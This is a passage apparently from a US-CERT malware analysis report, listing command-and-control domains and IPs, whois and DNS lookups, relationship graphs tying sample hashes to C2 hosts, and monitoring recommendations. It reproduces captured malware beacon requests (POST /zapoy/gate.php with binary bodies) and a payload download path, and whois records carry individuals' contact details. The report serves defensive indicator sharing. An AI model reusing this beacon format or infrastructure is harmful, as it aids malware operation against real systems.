+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
+X..3S*3.S..%?.".).....>...
+>V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5
+Whois
+Address lookup
+lookup failed ritsoperrol.ru
+A temporary error occurred during the lookup. Trying again may succeed.
+Domain Whois record
+Queried whois.nic.ru with "ritsoperrol.ru"...
+No entries found for the selected source(s).
+US-CERT MIFR-10105049-Update2
+41 of 63
+>>> Last update of WHOIS database: 2017.01.16T13:04:09Z <<<
+Network Whois record
+Don't have an IP address for which to get a record
+DNS records
+DNS query for ritsoperrol.ru returned an error from the server: ServerFailure
+No records to display
+Relationships
+(D) ritsoperrol.ru
+Characterized_By
+(W) Address lookup
+(D) ritsoperrol.ru
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) ritsoperrol.ru
+Related_To
+(P) 80
+(D) ritsoperrol.ru
+Related_To
+(H) POST /zapoy/gate.php
+Description
+Identified Command and Control Location.
+littjohnwilhap.ru
+Ports
+HTTP Sessions
+POST /zapoy/gate.php HTTP/1.0
+Host: littjohnwilhap.ru
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: 196
+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
+X..3S*3.S..%?.".).....>...
+>V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5
+Whois
+Address lookup
+lookup failed littjohnwilhap.ru
+Could not find an IP address for this domain name.
+Domain Whois record
+Queried whois.nic.ru with "littjohnwilhap.ru"...
+No entries found for the selected source(s).
+>>> Last update of WHOIS database: 2017.01.16T13:05:16Z <<<
+Network Whois record
+Don't have an IP address for which to get a record
+DNS records
+DNS query for littjohnwilhap.ru returned an error from the server: NameError
+No records to display
+Relationships
+(D) littjohnwilhap.ru
+Characterized_By
+(W) Address lookup
+(D) littjohnwilhap.ru
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) littjohnwilhap.ru
+Related_To
+(H) POST /zapoy/gate.php
+(D) littjohnwilhap.ru
+Related_To
+(P) 80
+Description
+US-CERT MIFR-10105049-Update2
+42 of 63
+Identified Command and Control Location.
+insta.reduct.ru
+Ports
+Whois
+Address lookup
+canonical name
+insta.reduct.ru.
+aliases
+addresses
+146.185.161.126
+Domain Whois record
+Queried whois.nic.ru with "reduct.ru"...
+domain:
+REDUCT.RU
+nserver:
+ns1.spaceweb.ru
+nserver:
+ns2.spaceweb.ru
+state:
+REGISTERED, DELEGATED
+person:
+Private person
+admin-contact:https[:]//www[.]nic.ru/cgi/whois_webmail.cgi?domain=REDUCT.RU
+registrar: RU-CENTER-RU
+created:
+2009.03.13
+paid-till: 2017.03.13
+source:
+RU-CENTER
+>>> Last update of WHOIS database: 2017.01.16T13:00:25Z <<<
+Network Whois record
+Queried whois.ripe.net with "-B 146.185.161.126"...
+% Information related to '146.185.160.0 - 146.185.167.255'
+% Abuse contact for '146.185.160.0 - 146.185.167.255' is 'abuse@digitalocean.com'
+inetnum:
+146.185.160.0 - 146.185.167.255
+netname:
+DIGITALOCEAN-AMS-3
+descr:
+Digital Ocean, Inc.
+country:
+admin-c:
+PT7353-RIPE
+tech-c:
+PT7353-RIPE
+status:
+ASSIGNED PA
+mnt-by:
+digitalocean
+mnt-lower:
+digitalocean
+mnt-routes: digitalocean
+created:
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+last-modified: 2015-11-20T14:45:22Z
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+person:
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+source:
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+e-mail:
+noc@digitalocean.com
+org:
+ORG-DOI2-RIPE
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+DNS records
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+name
+class
+type data time to live
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+minimum ttl: 600
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+reduct.ru IN NS ns1.spaceweb.ru 600s(00:10:00)
+US-CERT MIFR-10105049-Update2
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+reduct.ru IN NS ns2.spaceweb.ru 600s(00:10:00)
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+aliases
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+176.114.0.120
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+% The Whois is subject to Terms of use
+% See https[:]//hostmaster.ua/services/
+% The object shown below is NOT in the UANIC database.
+% It has been obtained by querying a remote server:
+% (whois.in.ua) at port 43.
+% REDIRECT BEGIN
+% In.UA whois server. (whois.in.ua)
+% All questions regarding this service please send to help@whois.in.ua
+% To search for domains and In.UA maintainers using the web, visit http[:]//whois.in.ua
+domain:
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+admin-c: THST-UANIC
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+mnt-by:
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+mnt-lower: THEHOST-MNT-INUA
+changed: hostmaster@thehost.com.ua 20160224094245
+source:
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+% REDIRECT END
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+Queried whois.ripe.net with "-B 176.114.0.120"...
+% Information related to '176.114.0.0 - 176.114.15.255'
+% Abuse contact for '176.114.0.0 - 176.114.15.255' is 'abuse@thehost.ua'
+inetnum:
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+US-CERT MIFR-10105049-Update2
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+admin-c:
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+status:
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+mnt-by:
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+mnt-routes: THEHOST-MNT
+mnt-domains: THEHOST-MNT
+created:
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+last-modified: 2016-04-14T10:45:42Z
+source:
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+sponsoring-org: ORG-NL64-RIPE
+organisation: ORG-FSOV1-RIPE
+org-name:
+FOP Sedinkin Olexandr Valeriyovuch
+org-type:
+other
+address:
+08154, Ukraine, Boyarka, Belogorodskaya str., 11a
+e-mail:
+info@thehost.ua
+abuse-c:
+AR19055-RIPE
+abuse-mailbox: abuse@thehost.ua
+remarks:
+----------------------------------------------------remarks:
+Hosting Provider TheHost
+remarks:
+----------------------------------------------------remarks:
+For abuse/spam issues contact abuse@thehost.ua
+remarks:
+For general/sales questions contact info@thehost.ua
+remarks:
+For technical support contact support@thehost.ua
+remarks:
+----------------------------------------------------phone:
++380 44 222-9-888
+phone:
++7 499 403-36-28
+fax-no:
++380 44 222-9-888 ext. 4
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+last-modified: 2015-11-29T21:16:15Z
+source:
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+person:
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+phone:
++380 44 222-9-888 ext. 213
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+created:
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+source:
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+% Information related to '176.114.0.0/22AS56485'
+route:
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+descr:
+FOP Sedinkin Olexandr Valeriyovuch
+origin:
+AS56485
+mnt-by:
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+created:
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+last-modified: 2014-04-26T22:58:13Z
+source:
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+% This query was served by the RIPE Database Query Service version 1.88 (ANGUS)
+DNS records
+DNS query for 120.0.114.176.in-addr.arpa failed: TimedOut
+name
+class
+type data time to live
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+waterfilter.in.ua
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+email:
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+US-CERT MIFR-10105049-Update2
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+(01:00:00)
+0.114.176.in-addr.arpa IN SOA
+server: noc.thehost.com.ua
+email:
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+serial:
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+(01:00:00)
+Relationships
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+86db31e509f8dcaa13acec5 (617ba)
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+Related_To
+(I) 176.114.0.120
+Description
+Identified Command and Control Location.
+mymodule.waterfilter.in.ua/system/logs/xtool.exe
+Ports
+Whois
+Address lookup
+canonical name
+mymodule.waterfilter.in.ua.
+aliases
+addresses
+176.114.0.157
+Domain Whois record
+Queried whois.ua with "waterfilter.in.ua"...
+% request from 209.200.105.145
+% This is the Ukrainian Whois query server #F.
+% The Whois is subject to Terms of use
+% See https[:]//hostmaster.ua/services/
+% The object shown below is NOT in the UANIC database.
+% It has been obtained by querying a remote server:
+% (whois.in.ua) at port 43.
+% REDIRECT BEGIN
+% In.UA whois server. (whois.in.ua)
+% All questions regarding this service please send to help@whois.in.ua
+% To search for domains and In.UA maintainers using the web, visit http[:]//whois.in.ua
+domain:
+waterfilter.in.ua
+descr:
+waterfilter.in.ua
+admin-c: THST-UANIC
+tech-c:
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+status:
+OK-UNTIL 20170310000000
+nserver: ns1.thehost.com.ua
+nserver: ns2.thehost.com.ua
+nserver: ns3.thehost.com.ua
+mnt-by:
+THEHOST-MNT-INUA
+mnt-lower: THEHOST-MNT-INUA
+changed: hostmaster@thehost.com.ua 20160224094245
+US-CERT MIFR-10105049-Update2
+46 of 63
+source:
+INUA
+% REDIRECT END
+Network Whois record
+Queried whois.ripe.net with "-B 176.114.0.157"...
+% Information related to '176.114.0.0 - 176.114.15.255'
+% Abuse contact for '176.114.0.0 - 176.114.15.255' is 'abuse@thehost.ua'
+inetnum:
+176.114.0.0 - 176.114.15.255
+netname:
+THEHOST-NETWORK-3
+country:
+org:
+ORG-FSOV1-RIPE
+admin-c:
+SA7501-RIPE
+tech-c:
+SA7501-RIPE
+status:
+ASSIGNED PI
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+RIPE-NCC-END-MNT
+mnt-by:
+THEHOST-MNT
+mnt-routes: THEHOST-MNT
+mnt-domains: THEHOST-MNT
+created:
+2012-04-10T13:34:51Z
+last-modified: 2016-04-14T10:45:42Z
+source:
+RIPE
+sponsoring-org: ORG-NL64-RIPE
+organisation: ORG-FSOV1-RIPE
+org-name:
+FOP Sedinkin Olexandr Valeriyovuch
+org-type:
+other
+address:
+08154, Ukraine, Boyarka, Belogorodskaya str., 11a
+e-mail:
+info@thehost.ua
+abuse-c:
+AR19055-RIPE
+abuse-mailbox: abuse@thehost.ua
+remarks:
+----------------------------------------------------remarks:
+Hosting Provider TheHost
+remarks:
+----------------------------------------------------remarks:
+For abuse/spam issues contact abuse@thehost.ua
+remarks:
+For general/sales questions contact info@thehost.ua
+remarks:
+For technical support contact support@thehost.ua
+remarks:
+----------------------------------------------------phone:
++380 44 222-9-888
+phone:
++7 499 403-36-28
+fax-no:
++380 44 222-9-888 ext. 4
+admin-c:
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+mnt-ref:
+THEHOST-MNT
+mnt-by:
+THEHOST-MNT
+created:
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+last-modified: 2015-11-29T21:16:15Z
+source:
+RIPE
+person:
+Sedinkin Alexander
+address:
+Ukraine, Boyarka, Belogorodskaya str., 11a
+phone:
++380 44 222-9-888 ext. 213
+address:
+UKRAINE
+nic-hdl:
+SA7501-RIPE
+mnt-by:
+THEHOST-MNT
+created:
+2011-03-01T10:36:18Z
+last-modified: 2015-11-29T21:15:42Z
+source:
+RIPE
+% Information related to '176.114.0.0/22AS56485'
+route:
+176.114.0.0/22
+descr:
+FOP Sedinkin Olexandr Valeriyovuch
+origin:
+AS56485
+mnt-by:
+THEHOST-MNT
+created:
+2014-04-26T22:55:50Z
+last-modified: 2014-04-26T22:58:13Z
+source:
+RIPE
+% This query was served by the RIPE Database Query Service version 1.88 (HEREFORD)
+DNS records
+DNS query for 157.0.114.176.in-addr.arpa failed: TimedOut
+name
+class
+type data time to live
+mymodule.waterfilter.in.ua
+IN A
+176.114.0.157 3600s
+waterfilter.in.ua
+IN SOA
+server: ns1.thehost.com.ua
+email:
+hostmaster@thehost.com.ua
+serial:
+2015031414
+US-CERT MIFR-10105049-Update2
+(01:00:00)
+47 of 63
+refresh: 10800
+retry:
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+expire: 604800
+minimum ttl: 86400
+3600s
+(01:00:00)
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+IN NS ns2.thehost.com.ua 3600s
+(01:00:00)
+waterfilter.in.ua
+IN MX
+preference:
+exchange:
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+waterfilter.in.ua
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+(01:00:00)
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+server: noc.thehost.com.ua
+email:
+hostmaster@thehost.com.ua
+serial:
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+(01:00:00)
+0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s
+(01:00:00)
+-- end -Relationships
+(D) mymodule.waterfilter.in.ua/system
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+Related_To
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+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Characterized_By
+(W) Address lookup
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Connected_From
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+86db31e509f8dcaa13acec5 (617ba)
+(D) mymodule.waterfilter.in.ua/system
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+Related_To
+(I) 176.114.0.157
+Description
+Identified Command and Control Location.
+204.12.12.40
+private.directinvesting.com
+Whois
+Address lookup
+lookup failed 204.12.12.40
+Could not find a domain name corresponding to this IP address.
+Domain Whois record
+Don't have a domain name for which to get a record
+Network Whois record
+Queried whois.arin.net with "n ! NET-204-12-12-32-1"...
+NetRange:
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+CIDR:
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+NetName:
+THEMONEYPAPERINC
+NetHandle:
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+US-CERT MIFR-10105049-Update2
+48 of 63
+Parent:
+HOSTMYSITE (NET-204-12-0-0-1)
+NetType:
+Reassigned
+OriginAS:
+AS20021
+Customer:
+THE MONEYPAPER INC. (C02687180)
+RegDate:
+2011-02-03
+Updated:
+2011-02-03
+Ref:
+https[:]//whois.arin.net/rest/net/NET-204-12-12-32-1
+CustName:
+THE MONEYPAPER INC.
+Address:
+555 THEODORE FREMD AVENUE SUITE B-103
+City:
+StateProv:
+PostalCode: 10580
+Country:
+RegDate:
+2011-02-03
+Updated:
+2011-03-19
+Ref:
+https[:]//whois.arin.net/rest/customer/C02687180
+OrgNOCHandle: IPADM271-ARIN
+OrgNOCName: IP Admin
+OrgNOCPhone: +1-302-731-4948
+OrgNOCEmail: ipadmin@hostmysite.com
+OrgNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+OrgTechHandle: IPADM271-ARIN
+OrgTechName: IP Admin
+OrgTechPhone: +1-302-731-4948
+OrgTechEmail: ipadmin@hostmysite.com
+OrgTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+OrgAbuseHandle: ABUSE1072-ARIN
+OrgAbuseName: Abuse
+OrgAbusePhone: +1-302-731-4948
+OrgAbuseEmail: abuse@hostmysite.com
+OrgAbuseRef: https[:]//whois.arin.net/rest/poc/ABUSE1072-ARIN
+RNOCHandle: IPADM271-ARIN
+RNOCName: IP Admin
+RNOCPhone: +1-302-731-4948
+RNOCEmail: ipadmin@hostmysite.com
+RNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+RTechHandle: IPADM271-ARIN
+RTechName: IP Admin
+RTechPhone: +1-302-731-4948
+RTechEmail: ipadmin@hostmysite.com
+RTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+RAbuseHandle: IPADM271-ARIN
+RAbuseName: IP Admin
+RAbusePhone: +1-302-731-4948
+RAbuseEmail: ipadmin@hostmysite.com
+RAbuseRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+DNS records
+DNS query for 40.12.12.204.in-addr.arpa returned an error from the server: NameError
+Relationships
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+Characterized_By
+(W) Address lookup
+(I) 204.12.12.40
+Related_To
+(D) private.directinvesting.com
+209.236.67.159
+cderlearn.com
+Whois
+Address lookup
+canonical name
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+aliases
+addresses
+209.236.67.159
+Domain Whois record
+Queried whois.internic.net with "dom westdc.net"...
+Domain Name: WESTDC.NET
+Registrar: ENOM, INC.
+Sponsoring Registrar IANA ID: 48
+Whois Server: whois.enom.com
+US-CERT MIFR-10105049-Update2
+49 of 63
+Referral URL: http[:]//www[.]enom.com
+Name Server: NS1.WESTDC.NET
+Name Server: NS2.WESTDC.NET
+Name Server: NS3.WESTDC.NET
+Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited
+Updated Date: 09-dec-2015
+Creation Date: 09-sep-2008
+Expiration Date: 09-sep-2019
+>>> Last update of whois database: Sun, 15 Jan 2017 23:13:20 GMT <<<
+Queried whois.enom.com with "westdc.net"...
+Domain Name: WESTDC.NET
+Registry Domain ID: 1518630589_DOMAIN_NET-VRSN
+Registrar WHOIS Server: whois.enom.com
+Registrar URL: www[.]enom.com
+Updated Date: 2015-07-14T14:07:24.00Z
+Creation Date: 2008-09-09T19:31:20.00Z
+Registrar Registration Expiration Date: 2019-09-09T19:31:00.00Z
+Registrar: ENOM, INC.
+Registrar IANA ID: 48
+Domain Status: clientTransferProhibited https[:]//www[.]icann.org/epp#clientTransferProh bited
+Registry Registrant ID:
+Registrant Name: TECHNICAL SUPPORT
+Registrant Organization: UK2 GROUP
+Registrant Street: 517 WEST 100 NORTH, SUITE #225
+Registrant City: PROVIDENCE
+Registrant State/Province: UT
+Registrant Postal Code: 84332
+Registrant Country: US
+Registrant Phone: +1.4357553433
+Registrant Phone Ext:
+Registrant Fax: +1.4357553449
+Registrant Fax Ext:
+Registrant Email: DOMAINMASTER@UK2GROUP.COM
+Registry Admin ID:
+Admin Name: TECHNICAL SUPPORT
+Admin Organization: UK2 GROUP
+Admin Street: 517 WEST 100 NORTH, SUITE #225
+Admin City: PROVIDENCE
+Admin State/Province: UT
+Admin Postal Code: 84332
+Admin Country: US
+Admin Phone: +1.4357553433
+Admin Phone Ext:
+Admin Fax: +1.4357553449
+Admin Fax Ext:
+Admin Email: DOMAINMASTER@UK2GROUP.COM
+Registry Tech ID:
+Tech Name: TECHNICAL SUPPORT
+Tech Organization: UK2 GROUP
+Tech Street: 517 WEST 100 NORTH, SUITE #225
+Tech City: PROVIDENCE
+Tech State/Province: UT
+Tech Postal Code: 84332
+Tech Country: US
+Tech Phone: +1.4357553433
+Tech Phone Ext:
+Tech Fax: +1.4357553449
+Tech Fax Ext:
+Tech Email: DOMAINMASTER@UK2GROUP.COM
+Name Server: NS1.WESTDC.NET
+Name Server: NS2.WESTDC.NET
+Name Server: NS3.WESTDC.NET
+DNSSEC: unSigned
+Registrar Abuse Contact Email: abuse@enom.com
+Registrar Abuse Contact Phone: +1.4252982646
+URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/
+>>> Last update of WHOIS database: 2015-07-14T14:07:24.00Z <<<
+Network Whois record
+Queried secure.mpcustomer.com with "209.236.67.159"...
+Queried whois.arin.net with "n 209.236.67.159"...
+US-CERT MIFR-10105049-Update2
+50 of 63
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+209.236.64.0 - 209.236.79.255
+CIDR:
+209.236.64.0/20
+NetName:
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+remarks:
+----------------------------------------------------remarks:
+Hosting Provider TheHost
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+remarks:
+For general/sales questions contact info@thehost.ua
+remarks:
+For technical support contact support@thehost.ua
+remarks:
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+Hosting Provider TheHost
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+server: noc.thehost.com.ua
+email:
+hostmaster@thehost.com.ua
+serial:
+2014044197
+refresh: 10800
+retry:
+3600
+expire: 604800
+minimum ttl: 86400
+3600s
+(01:00:00)
+0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s
+(01:00:00)
+0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s
+(01:00:00)
+0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s
+(01:00:00)
+-- end -Relationships
+(I) 176.114.0.157
+Characterized_By
+(W) Address lookup
+(I) 176.114.0.157
+Related_To
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Relationship Summary
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+US-CERT MIFR-10105049-Update2
+Related_To
+(S) Interface for PAS v.3.1.0
+58 of 63
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
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+284e43c7b8355f3db71912b8 (bfcb5)
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+20f76ada1721b61963fa595e3a2006c962253513
+62b79d5d719197c190cd4239 (c3e23)
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
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+99eb8628abc638afd9eddaf (38f71)
+249ee048142d3d4b5f7ad15e8d4b98cf9491ee68
+db9749089f559ada4a33f93e (93f51)
+Related_To
+ae67c121c7b81638a7cb655864d574f8a9e55e66
+bcb9a7b01f0719a05fab7975 (eddfe)
+(S) Interface for PAS v.3.1.0
+Related_To
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+db9749089f559ada4a33f93e (93f51)
+da9f2804b16b369156e1b629ad3d2aac79326b94
+284e43c7b8355f3db71912b8 (bfcb5)
+Related_To
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+db9749089f559ada4a33f93e (93f51)
+20f76ada1721b61963fa595e3a2006c962253513
+62b79d5d719197c190cd4239 (c3e23)
+Related_To
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+7b28b9b85f9943342787bae1c92cab39c01f9d82b
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+Related_To
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+db9749089f559ada4a33f93e (93f51)
+ae67c121c7b81638a7cb655864d574f8a9e55e66
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+Related_To
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+db9749089f559ada4a33f93e (93f51)
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+Related_To
+(S) Interface for PAS v.3.0.10
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+Related_To
+d285115e97c02063836f1cf8f91669c114052727c3
+9bf4bd3c062ad5b3509e38 (fc45a)
+(S) Interface for PAS v.3.0.10
+Related_To
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+d285115e97c02063836f1cf8f91669c114052727c3
+9bf4bd3c062ad5b3509e38 (fc45a)
+Related_To
+6fad670ac8febb5909be73c9f6b428179c6a7e942
+94e3e6e358c994500fcce46 (78abd)
+55058d3427ce932d8efcbe54dccf97c9a8d1e85c7
+67814e34f4b2b6a6b305641 (8f154)
+Connected_To
+(D) private.directinvesting.com
+(D) private.directinvesting.com
+Characterized_By
+(W) Address lookup
+(D) private.directinvesting.com
+Connected_From
+55058d3427ce932d8efcbe54dccf97c9a8d1e85c7
+67814e34f4b2b6a6b305641 (8f154)
+(D) private.directinvesting.com
+Related_To
+(H) GET /lexicon/index.c
+(D) private.directinvesting.com
+Related_To
+(H) GET /lexicon/index.c
+(D) private.directinvesting.com
+Related_To
+(H) GET /lexicon/index.c
+(D) private.directinvesting.com
+Related_To
+(I) 204.12.12.40
+(I) 204.12.12.40
+Characterized_By
+(W) Address lookup
+(I) 204.12.12.40
+Related_To
+(D) private.directinvesting.com
+9acba7e5f972cdd722541a23ff314ea81ac35d5c0
+c758eb708fb6e2cc4f598a0 (ae7e3)
+Connected_To
+(D) cderlearn.com
+9acba7e5f972cdd722541a23ff314ea81ac35d5c0
+c758eb708fb6e2cc4f598a0 (ae7e3)
+Characterized_By
+(S) digital_cert_steal.bmp
+(D) cderlearn.com
+Characterized_By
+(W) Address lookup
+(D) cderlearn.com
+Connected_From
+9acba7e5f972cdd722541a23ff314ea81ac35d5c0
+c758eb708fb6e2cc4f598a0 (ae7e3)
+(D) cderlearn.com
+Related_To
+(H) POST /search.cfm HTT
+US-CERT MIFR-10105049-Update2
+59 of 63
+(D) cderlearn.com
+Related_To
+(H) POST /search.cfm HTT
+(D) cderlearn.com
+Related_To
+(I) 209.236.67.159
+(I) 209.236.67.159
+Characterized_By
+(W) Address lookup
+(I) 209.236.67.159
+Related_To
+(D) cderlearn.com
+(S) digital_cert_steal.bmp
+Characterizes
+9acba7e5f972cdd722541a23ff314ea81ac35d5c0
+c758eb708fb6e2cc4f598a0 (ae7e3)
+(W) Address lookup
+Characterizes
+(D) private.directinvesting.com
+(W) Address lookup
+Characterizes
+(D) cderlearn.com
+(W) Address lookup
+Characterizes
+(D) editprod.waterfilter.in.ua
+(W) Address lookup
+Characterizes
+(D) insta.reduct.ru
+(W) Address lookup
+Characterizes
+(D) one2shoppee.com
+(W) Address lookup
+Characterizes
+(D) ritsoperrol.ru
+(W) Address lookup
+Characterizes
+(D) littjohnwilhap.ru
+(W) Address lookup
+Characterizes
+(D) wilcarobbe.com
+(H) GET /lexicon/index.c
+Related_To
+(D) private.directinvesting.com
+(H) GET /lexicon/index.c
+Related_To
+(D) private.directinvesting.com
+(H) GET /lexicon/index.c
+Related_To
+(D) private.directinvesting.com
+(H) POST /search.cfm HTT
+Related_To
+(D) cderlearn.com
+(H) POST /search.cfm HTT
+Related_To
+(D) cderlearn.com
+(H) POST /zapoy/gate.php
+Related_To
+(D) wilcarobbe.com
+(H) POST /zapoy/gate.php
+Related_To
+(D) littjohnwilhap.ru
+(P) 80
+Related_To
+(D) wilcarobbe.com
+(P) 80
+Related_To
+(D) littjohnwilhap.ru
+(P) 80
+Related_To
+(D) ritsoperrol.ru
+(H) POST /zapoy/gate.php
+Related_To
+(D) ritsoperrol.ru
+(P) 80
+Related_To
+(D) one2shoppee.com
+(P) 80
+Related_To
+(D) insta.reduct.ru
+(P) 80
+Related_To
+(D) editprod.waterfilter.in.ua
+(W) Address lookup
+Characterizes
+(I) 146.185.161.126
+(W) Address lookup
+Characterizes
+(I) 176.114.0.120
+(W) Address lookup
+Characterizes
+(I) 209.236.67.159
+(W) Address lookup
+Characterizes
+(I) 204.12.12.40
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e (81f1a)
+Dropped
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e (81f1a)
+Characterized_By
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e
+Characterizes
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e (81f1a)
+(P) 80
+Related_To
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+(W) Address lookup
+Characterizes
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+(W) Address lookup
+Characterizes
+(I) 176.114.0.157
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Characterized_By
+(S) searching_reg_pop3.bmp
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) editprod.waterfilter.in.ua
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) insta.reduct.ru
+US-CERT MIFR-10105049-Update2
+60 of 63
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) one2shoppee.com
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) ritsoperrol.ru
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) littjohnwilhap.ru
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) wilcarobbe.com
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Connected_To
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+Dropped_By
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e (81f1a)
+(S) searching_reg_pop3.bmp
+Characterizes
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) wilcarobbe.com
+Characterized_By
+(W) Address lookup
+(D) wilcarobbe.com
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) wilcarobbe.com
+Related_To
+(H) POST /zapoy/gate.php
+(D) wilcarobbe.com
+Related_To
+(P) 80
+(D) one2shoppee.com
+Characterized_By
+(W) Address lookup
+(D) one2shoppee.com
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) one2shoppee.com
+Related_To
+(P) 80
+(D) ritsoperrol.ru
+Characterized_By
+(W) Address lookup
+(D) ritsoperrol.ru
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) ritsoperrol.ru
+Related_To
+(P) 80
+(D) ritsoperrol.ru
+Related_To
+(H) POST /zapoy/gate.php
+(D) littjohnwilhap.ru
+Characterized_By
+(W) Address lookup
+(D) littjohnwilhap.ru
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) littjohnwilhap.ru
+Related_To
+(H) POST /zapoy/gate.php
+(D) littjohnwilhap.ru
+Related_To
+(P) 80
+(D) insta.reduct.ru
+Characterized_By
+(W) Address lookup
+(D) insta.reduct.ru
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) insta.reduct.ru
+Related_To
+(P) 80
+(D) insta.reduct.ru
+Related_To
+(I) 146.185.161.126
+(I) 146.185.161.126
+Characterized_By
+(W) Address lookup
+(I) 146.185.161.126
+Related_To
+(D) insta.reduct.ru
+(D) editprod.waterfilter.in.ua
+Characterized_By
+(W) Address lookup
+(D) editprod.waterfilter.in.ua
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) editprod.waterfilter.in.ua
+Related_To
+(P) 80
+(D) editprod.waterfilter.in.ua
+Related_To
+(I) 176.114.0.120
+(I) 176.114.0.120
+Characterized_By
+(W) Address lookup
+(I) 176.114.0.120
+Related_To
+(D) editprod.waterfilter.in.ua
+US-CERT MIFR-10105049-Update2
+61 of 63
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Related_To
+(P) 80
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Characterized_By
+(W) Address lookup
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Related_To
+(I) 176.114.0.157
+(I) 176.114.0.157
+Characterized_By
+(W) Address lookup
+(I) 176.114.0.157
+Related_To
+(D) mymodule.waterfilter.in.ua/system
+/logs/xtool.exe
+Mitigation Recommendations
+US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection:
+private.directinvesting.com
+cderlearn.com
+204.12.12.40
+209.236.67.159
+176.114.0.120
+editprod.waterfilter.in.ua
+insta.reduct.ru
+146.185.161.126
